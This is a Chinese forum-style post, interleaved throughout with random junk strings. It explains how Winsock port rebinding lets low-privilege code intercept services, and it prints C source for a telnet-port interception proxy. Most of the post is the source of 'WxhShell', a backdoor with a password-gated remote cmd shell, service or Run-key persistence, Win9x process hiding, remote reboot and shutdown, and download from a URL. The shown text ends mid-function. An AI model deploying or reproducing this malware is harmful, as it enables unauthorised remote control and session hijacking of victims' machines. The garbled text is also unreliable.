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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]a@v)aa- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ysP/@;jC MrygEC 5 saddr.sin_family = AF_INET; uS+b* : u+i/CE#w saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,?skJ zw;(:fgY# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^O\1v f>JzG,- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {&AT}7 @eD~FNf-] 这意味着什么?意味着可以进行如下的攻击: dIh(~KqB &T4Cn@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L bK1CGyA TbUkqABm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q?'W >^*J Mh@ylp+q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U";Rp&\3; hFF&(t2{^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dodz|5o% g&20F`.N*> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !c;p4B) ^rZ+H@p:6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !i lDR< ZkG##Jp\> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L?5t<`#lw Wh&Z *J #include pF{Ri #include $7ME a"a #include NomK(%8m$ #include S %%qn DWORD WINAPI ClientThread(LPVOID lpParam); .
*+7xL int main() ry=[:\Z~ { u(Q(UuI WORD wVersionRequested; ]7ZC>.t
DWORD ret; ?q8g<-? WSADATA wsaData; A^jm<~ BOOL val; _J#Hq 'K SOCKADDR_IN saddr; 2+rao2
SOCKADDR_IN scaddr; +c2>j8e6 int err; ' <jp.sZQ SOCKET s;
j7%%/%$o[ SOCKET sc; v*p)"J * int caddsize; 8TM=AV HANDLE mt; M%LwC/h:, DWORD tid; y3$\ m wVersionRequested = MAKEWORD( 2, 2 ); Y\2>y"8>$x err = WSAStartup( wVersionRequested, &wsaData ); $BN+SD! if ( err != 0 ) { w'j]Y% printf("error!WSAStartup failed!\n"); v\T1,Z@N^ return -1; X=}0+W } biuo.OG] saddr.sin_family = AF_INET; k3eN;3#& DxG'/5jQ[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xm+3`$< LA3,e (e saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); un%"s: saddr.sin_port = htons(23); =I3U.^: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aPMM:RP` { !I
P* printf("error!socket failed!\n"); :H k4i%hGk return -1; 66;O 3g' } 4&WzGnK val = TRUE; rx)Q] //SO_REUSEADDR选项就是可以实现端口重绑定的 5.;$9~d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4IpFT; `q { vCr$miZ printf("error!setsockopt failed!\n"); O\{_)L return -1; Y)5}bmL } &~i
&~AJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k}7)pJNj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NV ~i4R*# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?Cl"jcQ* k82LCV+6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;f*xOdi*k { 1@Gv`{v ret=GetLastError(); Ee| y[y, printf("error!bind failed!\n"); `84yGXLK return -1; [#H8Mb+7 } Z k_&Kw| listen(s,2); g*9>z) while(1)
fQ) ;+ { 7qp|Msf}, caddsize = sizeof(scaddr); n\,W:G9AR7 //接受连接请求 VNfx>&` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G(e?]{( if(sc!=INVALID_SOCKET) #{PNdINoU { /pEkig7M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $x0F(|wxt if(mt==NULL) HRh".!lxy { @[lr
F7`o printf("Thread Creat Failed!\n");
WR%iUO40 break; CdjGYS } %&NK|M+n } v.J#d>tvf CloseHandle(mt); 0cVXUTJ|W } nIT=/{oyi closesocket(s); P@ u%{ WSACleanup(); l"Q8` return 0; cgAcAcmY } '-qc\6UY DWORD WINAPI ClientThread(LPVOID lpParam) w0SgF/"@ { iddT. SOCKET ss = (SOCKET)lpParam; [0emOS SOCKET sc; R8)"M(u=l unsigned char buf[4096]; =X B)sC% SOCKADDR_IN saddr; KYaf7qy] long num; 4)z](e$ DWORD val; 8V=o%[t DWORD ret; 7085&\9 //如果是隐藏端口应用的话,可以在此处加一些判断 fAi113q! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 jXQ_7 saddr.sin_family = AF_INET; a;sZNUSn saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h9mR+ng*oD saddr.sin_port = htons(23); 8jk*N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #SmWF|/ { #,Y} printf("error!socket failed!\n"); pOXEM1"2A return -1; bB["Qd}Q } mdd~B2"el val = 100; `N0E;=g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/uWON4 { [iD!!{6+ ret = GetLastError(); xN]bRr return -1; }Z|a?J@CZm } [F$3mzx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >JhQ=j { L [^e<I ret = GetLastError(); ZJqmD return -1; h7{W-AtM7_ } #"|Ey6& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ME.LS2'n { R;%iu0 printf("error!socket connect failed!\n"); Hs9uDGWp closesocket(sc); M:~#"lfK closesocket(ss); sYL+;(#t return -1; #{(rOb6H) } 5BZ5Gl3 while(1) 1/ HofiIa { 9"rATgN1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VC@o]t5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 -;v:.
[o. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AQ&;y&+QR num = recv(ss,buf,4096,0); -(jcsqDk if(num>0) eNNK;xXe# send(sc,buf,num,0); p=zjJ~DVd else if(num==0) O;w';}At break; <D__17W:; num = recv(sc,buf,4096,0); q&vr;fB2 if(num>0) B`vV[w? send(ss,buf,num,0); @!S5FOXipZ else if(num==0) +mY(6|1 break; }*%%GPJ } 30<^0J.1 closesocket(ss); #q\C"N5ip closesocket(sc); uwbj`lpf return 0 ; o,29C7Ii } <v\|@@X 9]Y@eRI< }}
IvZG& ========================================================== &0
@2JS/! G B15 下边附上一个代码,,WXhSHELL H*Yyo? /h_BF\VBs ========================================================== TY?Fs- p%}oo#%J #include "stdafx.h" qLR)>$ 3+)i23[4=\ #include <stdio.h> t({:TQ #include <string.h> Uu
G;z5 #include <windows.h> )0NA*<Q+. #include <winsock2.h> GSk;~^l #include <winsvc.h> 8 }-"&-X #include <urlmon.h> spJB6n( -Z @cj #pragma comment (lib, "Ws2_32.lib") C\1Dy5 #pragma comment (lib, "urlmon.lib") $Q62
7 +~7@K{6q- #define MAX_USER 100 // 最大客户端连接数 *r%=p/oQ}B #define BUF_SOCK 200 // sock buffer s{gdTG6v` #define KEY_BUFF 255 // 输入 buffer Nl1&na)K} */6PkNq #define REBOOT 0 // 重启 0%v
p'v #define SHUTDOWN 1 // 关机 7dAa~!/( m#Rll[ #define DEF_PORT 5000 // 监听端口 PQ1\b-I sI#K01;" #define REG_LEN 16 // 注册表键长度 Jcm"i~ #define SVC_LEN 80 // NT服务名长度 z55P~p gQ&FO~cr // 从dll定义API kFeuKSa^d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SFTThM]8M1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PX+$Us typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >*EcX 3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tf` ~=fg% wF}/7b54 // wxhshell配置信息 68d(6?OgW struct WSCFG { gzxLHPiw int ws_port; // 监听端口 lr=*Ty(V char ws_passstr[REG_LEN]; // 口令 Y*J,9 int ws_autoins; // 安装标记, 1=yes 0=no evq*&.6\ char ws_regname[REG_LEN]; // 注册表键名 p,U.5bX char ws_svcname[REG_LEN]; // 服务名 V*LpO8= char ws_svcdisp[SVC_LEN]; // 服务显示名 D[ny%9 : char ws_svcdesc[SVC_LEN]; // 服务描述信息
R:-^,/1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8MV=? int ws_downexe; // 下载执行标记, 1=yes 0=no jf@#&%AC9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" n hS=t8H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m%ak ]rv([ CKyX Z }; S'lZ'H / xrp%b1Sy // default Wxhshell configuration .(`#q@73 struct WSCFG wscfg={DEF_PORT, 5_#wOz0u$ "xuhuanlingzhe", .(ki(8Z N 1, "2$C_aE "Wxhshell", UJ2Tj+ "Wxhshell", t /1KKEZM "WxhShell Service", eE+zL~CE "Wrsky Windows CmdShell Service", M5CFW >T "Please Input Your Password: ", $s5LzJn 1, 5e6 f)[} " http://www.wrsky.com/wxhshell.exe", FlttqQQdf "Wxhshell.exe" ^F/N-!}q }; }PUQvIGZZ& \GEFhM4) // 消息定义模块 !SMIb(~[z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XnV*MWv char *msg_ws_prompt="\n\r? for help\n\r#>"; W^Wr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; P?\ IlziCB char *msg_ws_ext="\n\rExit."; $_onSYWr char *msg_ws_end="\n\rQuit."; sFsp`kf char *msg_ws_boot="\n\rReboot..."; mR)Xq= char *msg_ws_poff="\n\rShutdown..."; AQw1,tGV char *msg_ws_down="\n\rSave to "; oYG9i=lZ Usx8
U char *msg_ws_err="\n\rErr!"; 7jQOwzj char *msg_ws_ok="\n\rOK!"; 9@9(zUS| s3Pr$h char ExeFile[MAX_PATH]; m0DD|7}+ int nUser = 0; j'R{llZW HANDLE handles[MAX_USER]; ycz6-kEp int OsIsNt; i 3?=up! {N42z0c SERVICE_STATUS serviceStatus; 9~/k25P SERVICE_STATUS_HANDLE hServiceStatusHandle; 6vAq&Y{JB' j^-E,YMC // 函数声明 1t w>C\ int Install(void); [H<![Z1*r int Uninstall(void); Z?ZiK1) K int DownloadFile(char *sURL, SOCKET wsh); c>!zJAB int Boot(int flag); I|8'#QX void HideProc(void); {]BPSj{B int GetOsVer(void); ZfsM($|a int Wxhshell(SOCKET wsl); @TBcVHy void TalkWithClient(void *cs); C,r[H5G# int CmdShell(SOCKET sock); GrPKJ~{6 int StartFromService(void); \]uD"Jqv# int StartWxhshell(LPSTR lpCmdLine); T;!: A Aj#bhv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R-QSv$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); :59fb"^$ +}1h // 数据结构和表定义 Bu7Ztt* SERVICE_TABLE_ENTRY DispatchTable[] = p)2
!_0 { @{/GdB,} {wscfg.ws_svcname, NTServiceMain}, s2F<H# {NULL, NULL} #@%DY*w]v }; $]LhE:!G i82sMN1jl7 // 自我安装 [.:SV|AF# int Install(void) 3kqO5+,C { Xf
0)i char svExeFile[MAX_PATH]; jR1t&UD3Y HKEY key; I
"Qf};n strcpy(svExeFile,ExeFile); 8k[=$Ro 'C[{cr.` // 如果是win9x系统,修改注册表设为自启动 W3Gg<!*Uo if(!OsIsNt) { v\lhbpk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b-!+Q) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oW
! Z=; RegCloseKey(key); vX?MB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O2;iY_P7lV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J:D{5sE<| RegCloseKey(key); G42J return 0; +9 gI^Gt } +|0f7RB+R } &BOq%*+ } a%nksuP3 else { ^lvYj
E Q+<{2oVz // 如果是NT以上系统,安装为系统服务 /FJ.W<hw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W0-KFo.' if (schSCManager!=0) ;D8175px; { t@(:S6d SC_HANDLE schService = CreateService |-)2 D=P ( +4
W6{` schSCManager,
eeMeV> wscfg.ws_svcname, jK(]eiR$S wscfg.ws_svcdisp, pZxuV(QP` SERVICE_ALL_ACCESS, L.ML0H- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2K:Rrn/cR SERVICE_AUTO_START, ]nIH0k3y SERVICE_ERROR_NORMAL, hnYL<<AA svExeFile, h4,g pV>t NULL, OK] _.v} NULL, 2/dvCt6 N NULL, (J6>]MZ#) NULL, #r,LV}*qg NULL UwtL vd ); PKjM1wqaG@ if (schService!=0) UG !+&ii| { zk++#rB CloseServiceHandle(schService); 9 $&$Fe CloseServiceHandle(schSCManager); 0rrNVaM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P:OI]x4 strcat(svExeFile,wscfg.ws_svcname); b[/uSwvi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c0U=Hj@@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zz m[sX} RegCloseKey(key); Spm0DqqR? return 0; a%YohfsY?U } Wm^RfxgN/ }
}K.2 CloseServiceHandle(schSCManager); =O
o4O CF2 } '$0~PH& } SJ8CBxA MszX9wl return 1; h0z>dLA#2 } I]iTD V48o+ O // 自我卸载 elDt!9Pu int Uninstall(void) FzzV% { 1yd}F`{8UF HKEY key; ^Q9!DF m |*5HNP if(!OsIsNt) { ^rh{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (x!Tb2mlk RegDeleteValue(key,wscfg.ws_regname); M"\j7( RegCloseKey(key); YIn
H8Ex if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B,(zp#&yB RegDeleteValue(key,wscfg.ws_regname); xgq
`l# RegCloseKey(key); ?}ly`Js return 0; EQ%,IK/ } &|YJ?}, } cVf}8qf) } x_oiPu.V else { ^W%#Elf) PC)aVr?@@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kNk$[Yfs if (schSCManager!=0) tDQuimYu7 { k];NTALOG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zEy,aa:M if (schService!=0) hF^y4v|5 { z,K;GZuP if(DeleteService(schService)!=0) { nsN|[E8 CloseServiceHandle(schService); C3:CuoE X CloseServiceHandle(schSCManager); PHR:BiMZ return 0; C8W4~~1S } I[w;soI CloseServiceHandle(schService); g>pvcf( }
{,+MaH CloseServiceHandle(schSCManager); AMre(lgh } e1/{bX5 } ^_c6Op<F gGE&}EoLU return 1; UUR+PfY } wCgi@\ +x]3 -s // 从指定url下载文件 Xrr3KQaK& int DownloadFile(char *sURL, SOCKET wsh) 0Zh]n;S3m { p;Nq(=]
\ HRESULT hr; Sp/<%+2( char seps[]= "/"; }l7@:ezZZ7 char *token; hxZL/_n' char *file; 0vZ49}mb) char myURL[MAX_PATH]; ;~-M$a
}4 char myFILE[MAX_PATH]; <7
xX/Z}M wl /1~! strcpy(myURL,sURL); 'YvRkWf:KC token=strtok(myURL,seps); K_ Od u^ while(token!=NULL) Q N]y.(S)y { b?K`DUju{0 file=token; ;<l#k7 / token=strtok(NULL,seps); '.{_
7U } -dS@l'$ ./35_Vy/O GetCurrentDirectory(MAX_PATH,myFILE); i:60|ngK strcat(myFILE, "\\"); \b*z<Odv strcat(myFILE, file); u{Gci send(wsh,myFILE,strlen(myFILE),0); /|m0)H.> send(wsh,"...",3,0); hQ (84u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z(I=KBI if(hr==S_OK) T^icoX=c4 return 0; 8Dkq+H93 else 2ElZ&(RZJF return 1; h+ <Jv PiN^/#D } l[<U UEjZJ #%g>^i={ky // 系统电源模块 $`[TIyA9! int Boot(int flag) Z&of-[) { G!+Mu2 HANDLE hToken; K\FLA_J TOKEN_PRIVILEGES tkp; Wv||9[Rd :gn&wi if(OsIsNt) { _:]g:F[
# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 14DhJUV"b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <HnpI tkp.PrivilegeCount = 1; G#fF("Ndu` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !/e*v>3u& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d ehK#8 if(flag==REBOOT) { szCB}WY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zpjE_| return 0; hHZ'*,9 y } }T-'""* else { ^J;rW3#N8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qOy0QZ#0 return 0; oL~?^`cGZ } YmCu\+u } f]_'icP else { Y]tbwOle if(flag==REBOOT) { KP&xk13) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3l"8_zLP return 0; FGzKx9I9 } mV^~ else { ]tzF
Ob if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yfal'DqKF return 0; dI|D c }
[8~P
Pc^ } _N=f&~T eC94rcb}i{ return 1; {A'*3(8 } o{hX?,4i A'.=SA2.Y // win9x进程隐藏模块 CW2)1%1iz void HideProc(void) d&\3}uH { oKCv$>Y p{}4#+-<#H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {xH?b0> if ( hKernel != NULL ) lh[?`+A { uaz!ze+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4Us_Z{. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yRIXUCy FreeLibrary(hKernel); XMiu}w! } UOk\fyD2[ ~d].<Be return; .!Pg)| } J!2j]?D/e 6]4#8tR1_ // 获取操作系统版本 PfZS"yk int GetOsVer(void) #=VYq4B= { O =;jDWE OSVERSIONINFO winfo; #n}~u@,o_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Qu@pb^ GetVersionEx(&winfo); loO"[8i.k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0y6M;"&~E return 1; JXM]tV else cP D_=.& return 0; ]8}51y8 } TN1pg ?3p7MjvZ // 客户端句柄模块 jj1\oyQ8 int Wxhshell(SOCKET wsl) tq}45{FH3 { !
5NuFLOf SOCKET wsh; ;8eKAh struct sockaddr_in client; *8WB($T} DWORD myID; '*`#xNu[ BMy3tyO while(nUser<MAX_USER) Vv45w#w; { X!p`|i int nSize=sizeof(client); qh:Bc$S wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =o~GLbsER if(wsh==INVALID_SOCKET) return 1; #3QPcoxa lQ-<T<g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B*,)@h if(handles[nUser]==0) Q-n8~Ey1a closesocket(wsh); 1^4:l!0D else D2?H"PH nUser++; /\c'kMAW! } F5Z,Jmi^M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6e%@uB}$ 80Dn!9j* return 0; E4L?4>V@\ } BVw2skOT m{/(
3 // 关闭 socket Zgo~"G void CloseIt(SOCKET wsh) @"-\e|[N { ~w+I2oS$ closesocket(wsh); t$18h2yOL nUser--; k*\Bl4g ExitThread(0); FfdB% } x,!Dd TI4Hu,rc // 客户端请求句柄 x#J9GP. void TalkWithClient(void *cs) U`%t&7) { j#1G?MF l1)~WqhE} SOCKET wsh=(SOCKET)cs; STp9Gh- char pwd[SVC_LEN]; -B
*W^-;* char cmd[KEY_BUFF]; H#~gx_^U char chr[1]; SM2Lbfp!u int i,j; 1f`De`zXzr 7nek,8b while (nUser < MAX_USER) { jYHn J}< *an Ng<@ if(wscfg.ws_passstr) { H<(F$7Q!\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D\acA?d` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0%ul6LvM //ZeroMemory(pwd,KEY_BUFF); ;xZ+1zmL0 i=0; 2R[v*i^S while(i<SVC_LEN) { b=,BLe\ Alxf;[s // 设置超时 ]n!V fd_set FdRead; IZ=Z=k{ struct timeval TimeOut; 7q?ZieR FD_ZERO(&FdRead); rH3U;K! FD_SET(wsh,&FdRead); CO
wcus TimeOut.tv_sec=8; x+X@&S TimeOut.tv_usec=0; 1dQAo1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A2|Bbqd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 79T_9}M >jW**F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .z>/A/&+ pwd =chr[0]; ;6G]~}>o if(chr[0]==0xd || chr[0]==0xa) { #a e@VedM pwd=0; @t%da^-HS" break; /5NWV#- } \p4*Q}t i++; K4Q{U@ZJ } Kxsd@^E T3wTMbZ!VK // 如果是非法用户,关闭 socket )Te\6qM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =XfvPBA } QVT0.GzR $--8%gh dG send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y\FQt];z) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wg|6{'a +^AdD8U while(1) { iC#a+G*N_M >ywl()4O ZeroMemory(cmd,KEY_BUFF); G*=HjLmZg V%R]jbHZ# // 自动支持客户端 telnet标准 {"p ~M7 j=0; {!I`EN] while(j<KEY_BUFF) { .\b.l@O<Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MXA?rjd0 cmd[j]=chr[0]; -M{szH if(chr[0]==0xa || chr[0]==0xd) { zA#pgX[# cmd[j]=0; ]3v)3Wp break; +L 09^I } MV5$e j++; W? G4>zA } +Z"Wa0wA %w&+o.k/ // 下载文件 s)\PY if(strstr(cmd,"http://")) { (#dR\Di send(wsh,msg_ws_down,strlen(msg_ws_down),0); [r2V+b.C if(DownloadFile(cmd,wsh)) c44s@E send(wsh,msg_ws_err,strlen(msg_ws_err),0); g0 Q,]\~ else |;J`~H"K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y~Uf2(7b5 } OdNo2SO else { -o/Vp>_UOE *L<EGFP switch(cmd[0]) { %R5- 6 5B~]%_gZr // 帮助 1#Vd)vSP case '?': { +=W(c8~P send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r;@0F break; e\}@w1 } !~zn*Hm // 安装 Ifp8oL? S; case 'i': { oyiG04H& if(Install()) ;-JF1p 7; send(wsh,msg_ws_err,strlen(msg_ws_err),0); "y8W5R5kL4 else hGKQK
^bn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \6AM?}v break; ?jmL4V2-f } <mJ8~ // 卸载 q>+!Ete1p case 'r': { V1,p<>9 if(Uninstall()) {yNeZXA> send(wsh,msg_ws_err,strlen(msg_ws_err),0); hcW>R else wKJ|;o4;L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *QN,wBQ break; ,OrrGwp& } _k}Qe; // 显示 wxhshell 所在路径 |Fx *,91 case 'p': { `)$G}7cRUH char svExeFile[MAX_PATH]; F(j;|okf; strcpy(svExeFile,"\n\r"); \hBzQ%0 strcat(svExeFile,ExeFile); 0OlT^ send(wsh,svExeFile,strlen(svExeFile),0); C6g p}% break; Kf?:dF } IT#Li // 重启 GsO(\hR6^ case 'b': { "kFNOyj3\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I\Y N! if(Boot(REBOOT)) rPr]f; send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~p'|A}9[/ else { leF!Uog closesocket(wsh); GfSD%" ExitThread(0); cD9U^SOS }
K#6@sas break; /)RH-_63 } 0`V=x+*, // 关机 p5"pQeS case 'd': { %*K zP{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Mgo~h"]# if(Boot(SHUTDOWN)) 4C?4M; send(wsh,msg_ws_err,strlen(msg_ws_err),0); fVZ92Xw
B else { T++q.oFc
closesocket(wsh); 48S
NI ExitThread(0); amExZ/ } t>a D;|Y break; PZ#up{[o } @ G!Ir"Q // 获取shell UlNiH case 's': { V60"j( CmdShell(wsh); %TAS4hnu% closesocket(wsh); pyX:$j2R+% ExitThread(0); }(DH_0 break; y8C8~ -&OK } ~K5A$s2 // 退出 K}
T=j+ case 'x': { 7;Lv_Y"b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eB_r.R{ CloseIt(wsh); KiFTj$w, break; SmvMjZ+7Y } k;JDVRL // 离开 4i&Rd1#0dI case 'q': { F?jD5M08t/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); @vib54G closesocket(wsh); O#):*II`9 WSACleanup(); hbr3.<o1lY exit(1); /ece}7M break; #*w)rGkU2 } ;;
{K##^l } &tf(vU;,' }
JC9$"0d7 ;/pI@Ck // 提示信息 T%FW|jKw if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;!=i|"PG } IC8%E3 } Dm}M8`|X SYf1dbc..u return; |*b-m k } 6ce-92n ~b
X~_\ // shell模块句柄 &Ruq8n< int CmdShell(SOCKET sock) SsZSR.tD { B/;'D7i|S STARTUPINFO si; f)a0 !U 44 ZeroMemory(&si,sizeof(si)); r_,;[+! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xs Pt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /NiD#s0t PROCESS_INFORMATION ProcessInfo; +?Cy8Ev? char cmdline[]="cmd"; j`$$BVZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eV(9I v[ return 0; YHu]\'Ff } HOCj* O4 'DpJ#w\81 // 自身启动模式 Q[q`)~| int StartFromService(void) f{[0;qDJ { #,6T. O typedef struct 79d(UG'O { nfGI4ZE DWORD ExitStatus; |S|'o*u DWORD PebBaseAddress; R1w5,Zt DWORD AffinityMask; Z0-?;jA@ DWORD BasePriority; `=,emP&(H& ULONG UniqueProcessId; dkCUU ULONG InheritedFromUniqueProcessId; Sl ^PELU } PROCESS_BASIC_INFORMATION; -MTYtw( XGC\6?L~ PROCNTQSIP NtQueryInformationProcess; V?wV*]c $7g+/3Fu^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iI7ocyUv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MpZ\j NT5'U HANDLE hProcess; B{:a,V7 PROCESS_BASIC_INFORMATION pbi; IOuqC.RJ}o gM=:80 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CAs:>s
'8 if(NULL == hInst ) return 0; 66" 6> S
